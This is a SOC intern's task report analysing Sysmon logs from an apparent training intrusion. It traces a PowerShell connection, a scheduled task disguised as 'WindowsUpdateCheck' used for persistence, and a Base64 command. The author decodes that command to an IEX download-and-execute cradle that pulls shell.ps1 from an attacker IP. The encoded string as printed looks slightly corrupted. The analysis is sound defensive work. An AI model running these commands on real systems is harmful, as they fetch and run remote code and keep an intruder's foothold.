

Musa's Detailed Task 1 Report Of HSC SOC Internship Cohort 3

Task Objective:

Analyze the provided JSON log dataset (extracted from Sysmon) to identify the entry point, the persistence mechanism, and the attacker's ultimate goal.

The Dataset:

I use VS Code as my JSON viewer.

Part 1: Identification

1. I searched the logs for any Network Connections event (Event ID: 3) and found one to the suspicious IP: 192.168.10.45.
2. After I found the connection, I identified the Process to be "PowerShell" and the Image name that made the call to be "PowerShell.exe". The process ID is not available in the provided dataset (missing Event ID: 1 correlation log)
3. The antivirus didn't catch it because PowerShell on its own is not malicious; it's a trusted system tool. Powershell is a Living-Of-The-land Binary (LOLBin), so it is already on Windows, it is signed by Microsoft, and is commonly used by admins; antivirus trust it by default. Combined with an encoded command (-enc) to hide malicious intent, the attacker is also hidden inside the command.

Part 2: Persistence Hunt

1. I filtered the logs for ProcessCreate events involving both schtasks.exe and reg.exe; reg.exe is not available but schtasks.exe can be found.

I identified the specific command-line used to ensure the attacker remains in the system after a reboot, and that is (Command-line = "/Create /SC MINUTE /MO 30 /TN \"WindowsUpdateCheck\" /TR \"C:\\Users\\Public\\Update.exe\"")

Part 3: The Payload

The command-line is Base64 encoded and is

("-enc

SQBFAVggACgATgBIAHcALQBPAgIAagBIAgMAAdAAgAE4AZQB0AC4AVwBIAgIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEA

ZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALzE5Mi4xNjguMTAuNDUvc2h1bGwucHMxACcp")

Then I converted it on CyberChef

The Output is: IEX (New-Object Net.WebClient).DownloadString("http://192.168.10.45/shell.ps1")